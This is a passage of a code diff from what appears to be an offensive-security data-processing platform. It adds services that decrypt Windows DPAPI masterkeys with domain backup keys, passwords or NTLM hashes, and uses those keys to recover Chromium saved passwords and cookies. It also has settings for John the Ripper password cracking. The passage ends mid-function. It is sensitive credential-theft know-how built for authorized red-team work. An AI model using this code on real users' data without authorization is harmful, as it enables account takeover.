newline at end of file diff --git a/cmd/enrichment/enrichment/services/text_extractor.py b/cmd/enrichment/enrichment/services/text_extractor.py new file mode 100644 index 0000000..94a0c83 --- /dev/null +++ b/cmd/enrichment/enrichment/services/text_extractor.py @@ -0,0 +1,54 @@ +# Standard Libraries +from abc import abstractmethod +from typing import Optional + +# 3rd Party Libraries +import httpx +import structlog + +logger = structlog.get_logger(__name__) + + +class TextExtractorInterface: + @abstractmethod + async def extract(self, text: str) -> Optional[str]: + pass + + +class TikaTextExtractor(TextExtractorInterface): + http_client: httpx.AsyncClient + tika_uri: str + + def __init__(self, tika_uri: str, http_client: httpx.AsyncClient) -> None: + self.tika_uri = tika_uri + self.http_client = http_client + + async def extract(self, file_path: str) -> Optional[str]: + """Extracts text from the supplied file using Apache Tika a returns the text in the document. + + Args: + file_path (str): Path to a document on disk + + Returns: + str: Text extracted from the document + """ + url = f"{self.tika_uri}tika" + + with open(file_path, "rb") as doc_file: + try: + data = doc_file.read() + # resp = await self.http_client.put(url, content=data, headers={"Accept": "text/plain"}, timeout=30) + resp = await self.http_client.put(url, content=data, headers={"Accept": "text/plain"}) + resp.raise_for_status() + + # check if it's empty, otherwise return it + text = resp.text.strip() + return text if text else None + except httpx.HTTPStatusError as e: + # See https://cwiki.apache.org/confluence/display/TIKA/TikaServer + if e.response.status_code == 422 and e.response.text == "Unprocessable Entity": + await logger.awarning("Tika could not process the file (Unsupported mime-type, encrypted document, etc)", file_path=file_path) + return None + + # This is an response code we didn't expect, so re-raise it + raise diff --git a/cmd/enrichment/enrichment/settings.py b/cmd/enrichment/enrichment/settings.py new file mode 100644 index 0000000..954bfa6 --- /dev/null +++ b/cmd/enrichment/enrichment/settings.py @@ -0,0 +1,90 @@ +# Standard Libraries +import re +from enum import IntEnum +from typing import Any, List, Optional + +# 3rd Party Libraries +from nemesiscommon.settings import FileProcessingService +from pydantic import Field, PositiveInt, validator +from pydantic.networks import AnyHttpUrl, AnyUrl, HttpUrl, Parts, PostgresDsn + + +class HttpUrlWithSlash(AnyHttpUrl): + @classmethod + def __get_validators__(cls): + yield super().validate + yield cls.validate + + @classmethod + def validate_parts(cls, parts: "Parts", validate_port: bool = True) -> "Parts": + path = parts.get("path") + if not path or not path.endswith("/"): + raise ValueError("URI must end with a '/'") + + return super().validate_parts(parts, validate_port=False) + + def __repr__(self): + return f"HttpUrlWithSlash({super().__repr__()})" + + +class CrackWordlistSize(IntEnum): + VALUE_10000 = 10000 + VALUE_100000 = 100000 + + +class ElasticsearchSettings: + user: str + password: str + url: str + + +class EnrichmentSettings(FileProcessingService): # type: ignore + rabbitmq_connection_uri: AnyUrl + postgres_connection_uri: PostgresDsn + tika_uri: HttpUrlWithSlash + dotnet_uri: HttpUrlWithSlash + gotenberg_uri: HttpUrlWithSlash + ml_models_uri: HttpUrlWithSlash + crack_list_uri: HttpUrlWithSlash + model_word_limit: PositiveInt + extracted_archive_size_limit: PositiveInt + db_iteration_size: PositiveInt + elasticsearch_user: str + elasticsearch_password: str + elasticsearch_url: HttpUrlWithSlash + web_api_url: HttpUrlWithSlash + public_kibana_url: HttpUrlWithSlash + slack_webhook_url: HttpUrl + slack_username: str + slack_emoji: str + slack_channel: str + tensorflow_uri: str + context_words: PositiveInt + chunk_size: PositiveInt + ml_chunk_size: PositiveInt + prob_threshold: float + yara_api_port: int = Field(None, ge=0, le=65535) + disable_alerting: bool = False + crack_wordlist_top_words: CrackWordlistSize # either 10000 or 100000 for now + jtr_instances: PositiveInt = 1 # number of John the Ripper instances to run + reprocessing_workers: PositiveInt = 5 # number of parallel reprocessing workers + tasks: Optional[List[str]] # List of tasks to start + registry_value_batch_size: PositiveInt = 5000 # number of registry values to emit per reg carving message + + @validator("slack_channel") + def slack_channel_is_valid(cls, channel: str) -> str: + pattern = r"^#[a-zA-Z0-9_-]{1,80}$" + if re.match(pattern, channel): + return channel + else: + raise ValueError("Slack channel must start with a '#' and be followed by 1-80 alphanumeric characters, hypens, or underscores") + + class Config: + @classmethod + def parse_env_var(cls, field_name: str, raw_val: str) -> Any: + if field_name == "tasks": + return [x for x in raw_val.split(",")] + return raw_val + + +config = EnrichmentSettings() # type: ignore diff --git a/cmd/enrichment/enrichment/tasks/chromium_cookie.py b/cmd/enrichment/enrichment/tasks/chromium_cookie.py new file mode 100644 index 0000000..92d1f29 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/chromium_cookie.py @@ -0,0 +1,225 @@ +# Standard Libraries +import asyncio +from base64 import b64decode +from typing import Dict + +# 3rd Party Libraries +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog +from Cryptodome.Cipher import AES +from enrichment.lib.nemesis_db import NemesisDb +from enrichment.tasks.dpapi.dpapi_blob import DPAPI_BLOB +from nemesiscommon.messaging import ( + MessageQueueConsumerInterface, + MessageQueueProducerInterface, +) +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class ChromiumCookie(TaskInterface): + """ + Class responsible for decrypting cookies in Chromium-based browsers/applications. + """ + + db: NemesisDb + + # Queues + in_q_chromiumcookies: MessageQueueConsumerInterface + in_q_cookieingestion: MessageQueueConsumerInterface + out_q_chromium_cookies: MessageQueueProducerInterface + out_q_chromium_cookiesprocessed: MessageQueueProducerInterface + + def __init__( + self, + db: NemesisDb, + in_q_chromiumcookies: MessageQueueConsumerInterface, + in_q_cookieingestion: MessageQueueConsumerInterface, + out_q_chromium_cookies: MessageQueueProducerInterface, + out_q_chromium_cookiesprocessed: MessageQueueProducerInterface, + ): + self.db = db + self.in_q_chromiumcookies = in_q_chromiumcookies + self.in_q_cookieingestion = in_q_cookieingestion + self.out_q_chromium_cookies = out_q_chromium_cookies + self.out_q_chromium_cookiesprocessed = out_q_chromium_cookiesprocessed + + async def run(self) -> None: + await logger.ainfo("Starting the Cookie service") + + await asyncio.gather( + self.in_q_cookieingestion.Read(self.handle_cookie_ingestion), # type: ignore + self.in_q_chromiumcookies.Read(self.handle_chromium_cookies), # type: ignore + ) + await asyncio.Future() + + async def handle_chromium_cookies(self, q_msg: pb.ChromiumCookieMessage) -> None: + await self.process_chromium_cookies(q_msg) + + async def handle_cookie_ingestion(self, q_msg: pb.CookieIngestionMessage) -> None: + await self.process_cookie_ingestion(q_msg) + + @aio.time(Summary("process_chromium_cookies", "Time spent processing a Chromium cookie parsed from a Cookies file")) # type: ignore + async def process_chromium_cookies(self, event: pb.ChromiumCookieMessage) -> None: + """Main function to process chromium_cookies events. + + Cookie values are checked for AES/DPAPI decryption, and the appropriate + state key or DPAPI masterkey is pulled if it's present and decrypted. + If present, this key is then used to decrypt the cookie value to plaintext. + """ + + if not len(event.data) > 0: + return + + masterkeys = await self.get_linked_masterkeys(event) + data_directories = await self.get_linked_statekeys(event) + + for entry in event.data: + if not entry.is_decrypted: + # first do any cookie decryption + if entry.masterkey_guid in masterkeys: + blob = DPAPI_BLOB(entry.value_enc) + blob_dec_bytes = blob.decrypt(masterkeys[entry.masterkey_guid]) + if blob_dec_bytes: + entry.value_dec = blob_dec_bytes.decode("UTF-8") + entry.is_decrypted = True + elif entry.encryption_type == "aes" and entry.user_data_directory in data_directories: + state_key_bytes_dec = data_directories[entry.user_data_directory] + if state_key_bytes_dec: + try: + plaintext = await self.decrypt_chromium_aes_entry(state_key_bytes_dec, entry.value_enc) + if plaintext and plaintext != "": + entry.value_dec = plaintext + entry.is_decrypted = True + except Exception as e: + await logger.aerror( + "Error AES decrypting cookie value", + source=event.metadata.source, + cookie_name=entry.name, + user_data_directory=entry.user_data_directory, + ) + + # now do the cookie site/name classification enrichment + # TODO: implement + + # publish out to the cookie_processed_q queue + await self.out_q_chromium_cookiesprocessed.Send(event.SerializeToString()) + + @aio.time(Summary("process_cookie_ingestion", "Time spent processing a cookie ingested through the frontend API")) # type: ignore + async def process_cookie_ingestion(self, event: pb.CookieIngestionMessage) -> None: + """Main function to process cookie_ingestion events.""" + + if not len(event.data) > 0: + return + + cookie_message = pb.ChromiumCookieMessage() + cookie_message.metadata.CopyFrom(event.metadata) + + for data in event.data: + cookie_data = cookie_message.data.add() + + # this indicates null, i.e. that this wasn't carved from a file + cookie_data.originating_object_id = "00000000-0000-0000-0000-000000000000" + cookie_data.masterkey_guid = "00000000-0000-0000-0000-000000000000" + + if data.user_data_directory and data.user_data_directory != "": + path = data.user_data_directory.replace("\\", "/") + chromium_file_path = helpers.parse_chromium_file_path(path) + cookie_data.user_data_directory = path + if chromium_file_path.success and chromium_file_path.username: + cookie_data.username = chromium_file_path.username + if chromium_file_path.success and chromium_file_path.browser: + cookie_data.browser = chromium_file_path.browser + + if data.domain and data.domain != "": + cookie_data.host_key = data.domain.lstrip(".").lower() + + cookie_data.name = data.name + + # TODO: implement the site/cookie name classification mapping + + cookie_data.path = data.path + + if data.creation: + cookie_data.creation.CopyFrom(data.creation) + if data.expires: + cookie_data.expires.CopyFrom(data.expires) + if data.last_access: + cookie_data.last_access.CopyFrom(data.last_access) + if data.last_update: + cookie_data.last_update.CopyFrom(data.last_update) + + cookie_data.is_secure = data.secure + cookie_data.is_httponly = data.http_only + cookie_data.is_session = data.session + + if data.samesite and data.samesite != "": + cookie_data.samesite = data.samesite.upper() + + cookie_data.source_port = data.source_port + cookie_data.value_dec = data.value + + if len(data.value) > 0: + cookie_data.is_decrypted = True + + if len(data.value_enc) > 0: + cookie_data.value_enc = b64decode(data.value_enc) + if cookie_data.value_enc.startswith(b"v10"): + cookie_data.encryption_type = "aes" + else: + blob = await helpers.parse_dpapi_blob(cookie_data.value_enc) + if blob.success: + cookie_data.encryption_type = "dpapi" + if blob.dpapi_master_key_guid: + cookie_data.masterkey_guid = blob.dpapi_master_key_guid + else: + raise Exception(f"Unknown cookie encryption type. Encrypted cookie value: {data.value_enc}") + + # publish out to the cookie_processed_q queue + await self.out_q_chromium_cookies.Send(cookie_message.SerializeToString()) + + async def get_linked_masterkeys(self, event: pb.ChromiumCookieMessage) -> Dict[str, str]: + """Helper that returns all masterkey GUID:key mappings from a set of cookie messages.""" + masterkey_guids_uniq = set([entry.masterkey_guid for entry in event.data if (entry.encryption_type == "dpapi" and entry.masterkey_guid != "00000000-0000-0000-0000-000000000000")]) + masterkeys = {} + for mk_guid in masterkey_guids_uniq: + results = await self.db.get_decrypted_dpapi_masterkey(mk_guid) + if results: + (masterkey_sha1, masterkey_full) = results + if masterkey_sha1: + masterkeys[mk_guid] = masterkey_sha1 + elif masterkey_full: + masterkeys[mk_guid] = masterkey_full + return masterkeys + + async def get_linked_statekeys(self, event: pb.ChromiumCookieMessage) -> Dict[str, bytes]: + """Helper that returns all statekey AES keys from a set of cookie messages.""" + # get the decrypted AES state key value(s) linked to these cookies, if it/they exist + # we use source + user_data_directory for relative "uniqueness" + data_directories_uniq = set([entry.user_data_directory for entry in event.data]) + data_directories = {} + for data_directory in data_directories_uniq: + result = await self.db.get_decrypted_chromium_state_key(event.metadata.source, data_directory) + if result: + data_directories[data_directory] = result + return data_directories + + async def decrypt_chromium_aes_entry(self, state_key_bytes_dec: bytes, value_enc: bytes) -> str: + """Helper that takes a Chromium AES key and a cookie/login value and decrypts it. + + Ref- https://stackoverflow.com/a/60423699 + """ + + nonce = value_enc[3 : 3 + 12] + ciphertext = value_enc[3 + 12 : -16] + tag = value_enc[-16:] + cipher = AES.new(state_key_bytes_dec, AES.MODE_GCM, nonce=nonce) + plaintext = cipher.decrypt_and_verify(ciphertext, tag) + if plaintext and plaintext is not None: + return plaintext.decode("UTF-8") + else: + return "" diff --git a/cmd/enrichment/enrichment/tasks/dpapi/dpapi.py b/cmd/enrichment/enrichment/tasks/dpapi/dpapi.py new file mode 100644 index 0000000..02a4b94 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/dpapi/dpapi.py @@ -0,0 +1,875 @@ +# Standard Libraries +import asyncio +import uuid +from hashlib import pbkdf2_hmac +from typing import List, Optional, Tuple + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import structlog +from Cryptodome.Cipher import AES, PKCS1_v1_5 +from Cryptodome.Hash import HMAC, MD4, SHA1 +from enrichment.lib.nemesis_db import (DpapiDomainBackupkey, DpapiMasterkey, + NemesisDb) +from enrichment.tasks.dpapi.dpapi_blob import DPAPI_BLOB +from enrichment.tasks.dpapi.masterkey import MasterKey +# from enrichment.tasks.dpapi.masterkey import MasterKey +from impacket.dpapi import DPAPI_DOMAIN_RSA_MASTER_KEY # MasterKey, +from impacket.dpapi import (PRIVATE_KEY_BLOB, PVK_FILE_HDR, + privatekeyblob_to_pkcs1) +from impacket.uuid import bin_to_string +from nemesiscommon.messaging import (MessageQueueConsumerInterface, + MessageQueueProducerInterface) +from nemesiscommon.nemesis_tempfile import TempFile +from nemesiscommon.services.alerter import AlerterInterface +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class Dpapi(TaskInterface): + data_download_dir: str + alerter: AlerterInterface + db: NemesisDb + + # Queues + in_q_dpapi_blob: MessageQueueConsumerInterface + in_q_dpapi_masterkey: MessageQueueConsumerInterface + in_q_dpapi_domainbackupkey: MessageQueueConsumerInterface + in_q_chromiumlogins: MessageQueueConsumerInterface + in_q_chromiumstatefile: MessageQueueConsumerInterface + in_q_authentication_data: MessageQueueConsumerInterface + out_q_dpapiblobprocessed: MessageQueueProducerInterface + out_q_dpapimasterkeyprocessed: MessageQueueProducerInterface + out_q_chromiumloginsprocessed: MessageQueueProducerInterface + out_q_chromiumstatefileprocessed: MessageQueueProducerInterface + + def __init__( + self, + data_download_dir: str, + alerter: AlerterInterface, + db: NemesisDb, + storage: StorageInterface, + in_q_chromiumlogins: MessageQueueConsumerInterface, + in_q_chromiumstatefile: MessageQueueConsumerInterface, + in_q_dpapiblob: MessageQueueConsumerInterface, + in_q_dpapidomainbackupkey: MessageQueueConsumerInterface, + in_q_dpapimasterkey: MessageQueueConsumerInterface, + in_q_authentication_data: MessageQueueConsumerInterface, + out_q_chromiumloginsprocessed: MessageQueueProducerInterface, + out_q_chromiumstatefileprocessed: MessageQueueProducerInterface, + out_q_dpapiblobprocessed: MessageQueueProducerInterface, + out_q_dpapimasterkeyprocessed: MessageQueueProducerInterface, + ): + self.data_download_dir = data_download_dir + self.alerter = alerter + self.db = db + self.storage = storage + + # Queues + self.in_q_chromiumlogins = in_q_chromiumlogins + self.in_q_chromiumstatefile = in_q_chromiumstatefile + self.in_q_dpapi_blob = in_q_dpapiblob + self.in_q_dpapi_domainbackupkey = in_q_dpapidomainbackupkey + self.in_q_dpapi_masterkey = in_q_dpapimasterkey + self.in_q_authentication_data = in_q_authentication_data + self.out_q_chromiumloginsprocessed = out_q_chromiumloginsprocessed + self.out_q_chromiumstatefileprocessed = out_q_chromiumstatefileprocessed + self.out_q_dpapiblobprocessed = out_q_dpapiblobprocessed + self.out_q_dpapimasterkeyprocessed = out_q_dpapimasterkeyprocessed + + async def run(self) -> None: + await logger.ainfo("Starting the DPAPI service") + + await asyncio.gather( + self.in_q_dpapi_blob.Read(self.handle_dpapi_blob), # type: ignore + self.in_q_dpapi_masterkey.Read(self.handle_dpapi_masterkey), # type: ignore + self.in_q_dpapi_domainbackupkey.Read(self.handle_dpapi_domain_backupkey), # type: ignore + self.in_q_chromiumlogins.Read(self.handle_chromium_logins), # type: ignore + self.in_q_chromiumstatefile.Read(self.handle_chromium_state_file), # type: ignore + self.in_q_authentication_data.Read(self.handle_authentication_data), # type: ignore + ) + await asyncio.Future() + + async def handle_dpapi_blob(self, q_msg: pb.DpapiBlobMessage) -> None: + await self.process_dpapi_blob(q_msg) + + async def handle_dpapi_masterkey(self, q_msg: pb.DpapiMasterkeyMessage) -> None: + await self.process_dpapi_masterkey(q_msg) + + async def handle_dpapi_domain_backupkey(self, q_msg: pb.DpapiDomainBackupkeyMessage) -> None: + await self.process_dpapi_domain_backupkey(q_msg) + + async def handle_chromium_logins(self, q_msg: pb.ChromiumLoginMessage) -> None: + await self.process_chromium_logins(q_msg) + + async def handle_chromium_state_file(self, q_msg: pb.ChromiumStateFileMessage) -> None: + await self.process_chromium_state_file(q_msg) + + async def handle_authentication_data(self, q_msg: pb.AuthenticationDataIngestionMessage) -> None: + await self.process_authentication_data(q_msg) + + @aio.time(Summary("process_dpapi_blob", "Time spent processing a DPAPI blob")) # type: ignore + async def process_dpapi_blob(self, event: pb.DpapiBlobMessage) -> None: + """Main function to process dpapi_blob events.""" + + for i in range(len(event.data)): + data = event.data[i] + + if data.is_file: + # if this blob is over 1024 bytes, it's uploaded to S3 + blob_file_uuid = blob_file_uuid = uuid.UUID(data.enc_data_object_id) + + with await self.storage.download(blob_file_uuid) as temp_file_enc: + # download the file and try to decrypt these bytes + with open(temp_file_enc.name, "rb") as f: + blob_bytes = f.read() + + # try to decrypt this blob if there's a linked key + blob_dec_bytes = await self.decrypt_dpapi_blob(blob_bytes) + + if blob_dec_bytes: + async with TempFile(self.data_download_dir) as temp_file_dec: + with open(temp_file_dec.path, "wb") as f: + f.write(blob_dec_bytes) + + decrypted_file_uuid = await self.storage.upload(temp_file_dec.path) + data.is_decrypted = True + data.dec_data_object_id = str(decrypted_file_uuid) + else: + # otherwise we're dealing with the raw bytes if the size is < 1024 + blob_dec_bytes = await self.decrypt_dpapi_blob(data.enc_data_bytes) + if blob_dec_bytes: + data.is_decrypted = True + data.dec_data_bytes = blob_dec_bytes + + # publish out to the dpapi_blob_processed_q_out queue + await self.out_q_dpapiblobprocessed.Send(event.SerializeToString()) + + @aio.time(Summary("process_dpapi_masterkey", "Time spent processing a DPAPI masterkey")) # type: ignore + async def process_dpapi_masterkey(self, event: pb.DpapiMasterkeyMessage) -> None: + """Main function to process dpapi_masterkey events. + + This function will take any incoming masterkeys, check if there + are any linked encrypted domain backup keys in the DB, decrypting + the masterkey and updating it in the DB if so. + + Broken out separately to get the Prometheus decorator to work correctly. + """ + + for i in range(len(event.data)): + masterkey = event.data[i] + + if not masterkey.is_decrypted: + if masterkey.type == "machine": + # TODO: handle machine DPAPI keys + pass + else: + if masterkey.domain_backupkey_guid and masterkey.domainkey_pb_secret: + # if there's a linked domain backup key, try to decrypt this masterkey + results = await self.decrypt_dpapi_domain_masterkey( + masterkey.domainkey_pb_secret, domain_backupkey_guid=masterkey.domain_backupkey_guid + ) + + if results: + await logger.adebug("Decrypted masterkey with domain backup key", masterkey_guid=masterkey.masterkey_guid) + # update this object with the decrypted values + masterkey.decrypted_key_sha1, masterkey.decrypted_key_full = results + masterkey.is_decrypted = True + + if not masterkey.is_decrypted and masterkey.user_sid: + # if domain key decryption didn't work or a domain backup key wasn't present, + # try decrypting with plaintext passwords/NTLM hashes + plaintext_passwords = await self.db.get_plaintext_passwords(masterkey.username) + ntlm_hashes = await self.db.get_ntlm_hashes(masterkey.username) + if plaintext_passwords or ntlm_hashes: + results = await self.decrypt_dpapi_masterkey( + masterkey.masterkey_bytes, masterkey.user_sid, plaintext_passwords, ntlm_hashes + ) + if results: + await logger.adebug("Decrypted masterkey with existing plaintext password or ntlm hash") + # update this object with the decrypted values + masterkey.decrypted_key_sha1, masterkey.decrypted_key_full = results + masterkey.is_decrypted = True + + m = event.metadata + obj = DpapiMasterkey( + agent_id=m.agent_id, + project_id=m.project, + source=m.source, + timestamp=m.timestamp.ToDatetime(), + expiration=m.expiration.ToDatetime(), + object_id=masterkey.object_id, + type=masterkey.type, + username=masterkey.username, + user_sid=masterkey.user_sid, + masterkey_guid=uuid.UUID(masterkey.masterkey_guid), + is_decrypted=masterkey.is_decrypted, + masterkey_bytes=masterkey.masterkey_bytes, + domain_backupkey_guid=uuid.UUID(masterkey.domain_backupkey_guid) if masterkey.domain_backupkey_guid else None, + domainkey_pb_secret=masterkey.domainkey_pb_secret, + decrypted_key_full=masterkey.decrypted_key_full, + decrypted_key_sha1=masterkey.decrypted_key_sha1, + ) + await self.db.add_dpapi_masterkey(obj) + + if masterkey.is_decrypted: + # decrypt any existing linked DPAPI blobs + await self.decrypt_existing_dpapi_blobs(masterkey.masterkey_guid) + await logger.ainfo("Decrypted any existing blobs protected by the masterkey", masterkey_guid=masterkey.masterkey_guid) + + # decrypt any existing linked Chromium data + await self.decrypt_existing_chromium_data(masterkey.masterkey_guid) + await logger.ainfo("Decrypted any existing Chromium data by the masterkey", masterkey_guid=masterkey.masterkey_guid) + + # publish out to the dpapi_masterkey_processed_q_out queue + await self.out_q_dpapimasterkeyprocessed.Send(event.SerializeToString()) + + @aio.time(Summary("process_dpapi_domain_backupkey", "Time spent processing a DPAPI masterkey")) # type: ignore + async def process_dpapi_domain_backupkey(self, event) -> None: + """Main function to process dpapi_domain_backupkey events. + + This function will process a DPAPI domain backup key event, + adding the key to the database and decrypting any existing + DPAPI masterkeys. + """ + + for key in event.data: + domain_backupkey_guid = key.domain_backupkey_guid + domain_controller = key.domain_controller + domain_backupkey_bytes = key.domain_backupkey_bytes + + # add the key to the database + obj = DpapiDomainBackupkey( + agent_id=event.metadata.agent_id, + project_id=event.metadata.project, + source=event.metadata.source, + timestamp=event.metadata.timestamp.ToDatetime(), + expiration=event.metadata.expiration.ToDatetime(), + domain_backupkey_guid=domain_backupkey_guid, + domain_controller=domain_controller, + domain_backupkey_bytes=domain_backupkey_bytes, + ) + await self.db.add_dpapi_domain_backupkey(obj) + + # alert to Slack + await self.alerter.alert( + f"*DPAPI Domain Backup Key Added*\nAdded domain backupkey (GUID: *{domain_backupkey_guid}*) to the database" + ) + + await logger.adebug("Added domain backupkey to the database", domain_backupkey_guid=domain_backupkey_guid) + + # decrypt any existing linked masterkeys + await self.decrypt_existing_dpapi_masterkeys_with_domain_key(domain_backupkey_guid) + + @aio.time(Summary("process_chromium_logins", "Time spent processing a Chromium Logins file message")) # type: ignore + async def process_chromium_logins(self, event: pb.ChromiumLoginMessage) -> None: + """Main function to process chromium_logins events. + + Login entries are checked for AES/DPAPI decryption, and the appropriate + state key or DPAPI masterkey is pulled if it's present and decrypted. + If present, this key is then used to decrypt the login entry to plaintext. + """ + + # get all of the unique masterkey GUIDs off the bat so we can retrieve them just once + masterkey_guids_uniq = set( + [ + entry.masterkey_guid + for entry in event.data + if (entry.encryption_type == "dpapi" and entry.masterkey_guid != "00000000-0000-0000-0000-000000000000") + ] + ) + masterkeys = {} + for mk_guid in masterkey_guids_uniq: + results = await self.db.get_decrypted_dpapi_masterkey(mk_guid) + if results: + (masterkey_sha1, masterkey_full) = results + if masterkey_sha1: + masterkeys[mk_guid] = masterkey_sha1 + elif masterkey_full: + masterkeys[mk_guid] = masterkey_full + + # get the decrypted AES state key value(s) linked to these logins, if it/they exist + # we use source + user_data_directory for relative "uniqueness" + data_directories_uniq = set([entry.user_data_directory for entry in event.data]) + data_directories = {} + for data_directory in data_directories_uniq: + result = await self.db.get_decrypted_chromium_state_key(event.metadata.source, data_directory) + if result: + data_directories[data_directory] = result + + for i in range(len(event.data)): + entry = event.data[i] + if entry.masterkey_guid in masterkeys: + # use the Impacket DPAPI_BLOB structure in lib/dpapi_blob.py + blob = DPAPI_BLOB(entry.password_value_enc) + blob_dec_bytes = blob.decrypt(masterkeys[entry.masterkey_guid]) + if blob_dec_bytes: + entry.password_value_dec = blob_dec_bytes.decode("UTF-8") + entry.is_decrypted = True + + elif entry.encryption_type == "aes" and entry.user_data_directory in data_directories: + state_key_bytes_dec = data_directories[entry.user_data_directory] + if state_key_bytes_dec: + try: + plaintext = await self.decrypt_chromium_aes_entry(state_key_bytes_dec, entry.password_value_enc) + if plaintext: + entry.password_value_dec = plaintext + entry.is_decrypted = True + except Exception: + await logger.aerror( + "Error AES decrypting login value", + source=event.metadata.source, + signon_realm=entry.signon_realm, + user_data_directory=entry.user_data_directory, + ) + + # publish out to the chromium_logins_processed_q_out queue + await self.out_q_chromiumloginsprocessed.Send(event.SerializeToString()) + + @aio.time(Summary("process_chromium_state_file", "Time spent processing a Chromium Local State file message")) # type: ignore + async def process_chromium_state_file(self, event: pb.ChromiumStateFileMessage) -> None: + """Main function to process chromium_state_file events. + + The encrypted_key value for Local State file is parsed as a DPAPI protected + blob and the appropriate DPAPI masterkey is pulled if it's present and decrypted. + If present, this key is then used to decrypt the encryption key. + """ + + # get all of the unique masterkey GUIDs off the bat so we can retrieve them just once + masterkey_guids_uniq = set( + [entry.masterkey_guid for entry in event.data if entry.masterkey_guid != "00000000-0000-0000-0000-000000000000"] + ) + masterkeys = {} + for mk_guid in masterkey_guids_uniq: + results = await self.db.get_decrypted_dpapi_masterkey(mk_guid) + if results: + (masterkey_sha1, masterkey_full) = results + if masterkey_sha1: + masterkeys[mk_guid] = masterkey_sha1 + elif masterkey_full: + masterkeys[mk_guid] = masterkey_full + + for i in range(len(event.data)): + data = event.data[i] + if data.masterkey_guid in masterkeys: + try: + # use the Impacket DPAPI_BLOB struture in lib/dpapi_blob.py + blob = DPAPI_BLOB(data.key_bytes_enc) + blob_dec_bytes = blob.decrypt(masterkeys[data.masterkey_guid]) + if blob_dec_bytes: + data.is_decrypted = True + data.key_bytes_dec = blob_dec_bytes + + # if data.app_bound_fixed_data_enc is not None: + # blob2 = DPAPI_BLOB(data.app_bound_fixed_data_enc) + # blob_dec_bytes2 = blob2.decrypt(masterkeys[data.masterkey_guid]) + # if blob_dec_bytes2: + # data.app_bound_fixed_data_dec = blob_dec_bytes2 + except Exception as e: + await logger.aexception(e, message="error decrypting state key DPAPI value") + + # publish out to the chromium_state_file_processed_q_out queue + await self.out_q_chromiumstatefileprocessed.Send(event.SerializeToString()) + + @aio.time(Summary("process_authentication_data2", "Time spent processing a authentication data message")) # type: ignore + async def process_authentication_data(self, event: pb.AuthenticationDataIngestionMessage) -> None: + """Main function to process authentication_data events. + + Specifically, we're looking for any message with the "type" of dpapi_master_key so we + can extract out the GUID:masterkey values and create a new masterkey in the database. + """ + + m = event.metadata + + for i in range(len(event.data)): + data = event.data[i] + + if data.type and data.type == "dpapi_master_key": + if ":" in data.data: + (guid, key) = data.data.split(":") + guid = guid.strip("{}") + username = data.username + + obj = DpapiMasterkey( + agent_id=m.agent_id, + project_id=m.project, + source=m.source, + timestamp=m.timestamp.ToDatetime(), + expiration=m.expiration.ToDatetime(), + username=username, + masterkey_guid=uuid.UUID(guid), + is_decrypted=True, + decrypted_key_sha1=key, + ) + await self.db.add_dpapi_masterkey(obj) + + elif data.type and data.type == "password": + await self.decrypt_existing_dpapi_masterkeys_with_user_key(data.username, "password", data.data) + + elif data.type and data.type == "ntlm_hash": + await self.decrypt_existing_dpapi_masterkeys_with_user_key(data.username, "ntlm_hash", data.data) + + + ################################################### + # + # DPAPI helpers + # + ################################################### + + async def decrypt_chromium_aes_entry(self, state_key_bytes_dec: bytes, value_enc: bytes) -> str: + """Helper that takes a Chromium AES key and a cookie/login value and decrypts it. + + Ref- https://stackoverflow.com/a/60423699 + """ + + nonce = value_enc[3 : 3 + 12] + ciphertext = value_enc[3 + 12 : -16] + tag = value_enc[-16:] + cipher = AES.new(state_key_bytes_dec, AES.MODE_GCM, nonce=nonce) + plaintext = cipher.decrypt_and_verify(ciphertext, tag) + if plaintext and plaintext is not None: + return plaintext.decode("UTF-8") + else: + return "" + + async def decrypt_dpapi_blob(self, blob_bytes): + """ + Takes DPAPI blob bytes, queries the DB for an applicable decryption key, + and decrypts the bytes if possible. + + Returns None on failure. + """ + + blob = DPAPI_BLOB(blob_bytes) + + # extract the masterkey GUID from this DPAPI blob + masterkey_guid = bin_to_string(blob["GuidMasterKey"]).lower() + + if masterkey_guid: + # check if this masterkey is decrypted in Postgres + results = await self.db.get_decrypted_dpapi_masterkey(masterkey_guid) + + if results: + (masterkey_sha1, masterkey_full) = results + if masterkey_sha1: + return blob.decrypt(masterkey_sha1) + elif masterkey_full: + return blob.decrypt(masterkey_full) + else: + return None + else: + return None + + async def decrypt_dpapi_masterkey( + self, + masterkey_bytes: bytes, + user_sid: str, + passwords: Optional[List[str]] = None, + ntlm_hashes: Optional[List[str]] = None, + ) -> Optional[Tuple[bytes, bytes]]: + """ + Takes raw masterkey bytes + user sid and optional lists of plaintext + passwords and/or NTLM hashes and attempts to decrypt the masterkey, + returning the SHA1 and "full" keys if possible. + + Returns None on failure. + + TODO: any way to parallelize this? + """ + + mk = MasterKey(masterkey_bytes) + + if passwords: + for password in passwords: + keys = await self.derive_keys_from_user(user_sid, password) + for key in list(keys): + decrypted_masterkey = mk.decrypt(key) + # print(f"Password key tried in: {time.time() - start} seconds ({key.hex()})") + if decrypted_masterkey: + return (decrypted_masterkey, SHA1.new(decrypted_masterkey).digest()) + await logger.ainfo(f"Failed to decrypt DPAPI masterkey with {len(passwords)} total passwords") + if ntlm_hashes: + for ntlm_hash in ntlm_hashes: + keys = await self.derive_keys_from_user_key(user_sid, ntlm_hash) + for key in list(keys): + decrypted_masterkey = mk.decrypt(key) + # print(f"NTLM hash key tried in: {time.time() - start} seconds ({key.hex()})") + if decrypted_masterkey: + return (decrypted_masterkey, SHA1.new(decrypted_masterkey).digest()) + await logger.ainfo(f"Failed to decrypt DPAPI masterkey with {len(ntlm_hashes)} NTLM hashes") + return None + else: + await logger.awarning("No passwords or ntlm hashes passed for masterkey decryption") + + async def decrypt_dpapi_domain_masterkey( + self, + masterkey_secret_bytes: bytes, + domain_backupkey_guid: Optional[str] = None, + domain_backupkey_bytes: Optional[bytes] = None, + ) -> Optional[Tuple[bytes, bytes]]: + """ + Takes the GUID of the specified domain DPAPI backup key and the `domainkey_pb_secret` + bytes from a masterkey, queries the DB for an applicable dpapi domain backupkey, + and decrypts the masterkey if possible, returning the SHA1 and "full" keys. + + Returns None on failure. + """ + + if domain_backupkey_guid: + # query the DB for the bytes for this 